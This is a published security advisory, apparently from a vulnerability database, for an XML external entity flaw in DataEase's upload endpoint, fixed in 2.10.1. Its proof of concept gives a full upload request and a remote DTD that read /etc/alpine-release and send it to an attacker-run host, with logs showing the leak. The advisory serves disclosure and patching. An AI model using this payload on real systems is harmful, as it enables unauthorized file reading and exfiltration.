DataEase has an XML External Entity Reference vulnerability
Impact
There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.
- send request:
POST /de2api/staticResource/upload/1 HTTP/1.1
Host: dataease.ubuntu20.vm
Content-Length: 348
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: jwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn
------WebKitFormBoundary6OZBNygiUCAZEbMn
Content-Disposition: form-data; name="file"; filename="1.svg"
Content-Type: a
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
------WebKitFormBoundary6OZBNygiUCAZEbMn--
// 1.dtd的内容
<!ENTITY % resource SYSTEM "file:///etc/alpine-release">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>">- After sending the request, the content of the file /etc/alpine-release is successfully read
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 -
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 -Affected versions: <= 2.10.0
Patches
The vulnerability has been fixed in v2.10.1.
Workarounds
It is recommended to upgrade the version to v2.10.1.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.dataease:common | < 2.10.1 | 2.10.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-611- Platform
- Java / Kotlin (Maven)
- Package
io.dataease:common- Disclosed
- 23.09.2024
- Updated
- 11.10.2026 12:21
Sources and licenses
OSV / GitHub Advisory Database - GHSA-4m9p-7xg6-f4mm - CC BY 4.0
Vulnerability history: io.dataease:common
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 09.2024 09.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
Disclosures per year
- 2024: 2
- 2025: 0
- 2026: 0
-
DataEase has an XML External Entity Reference vulnerability this entry
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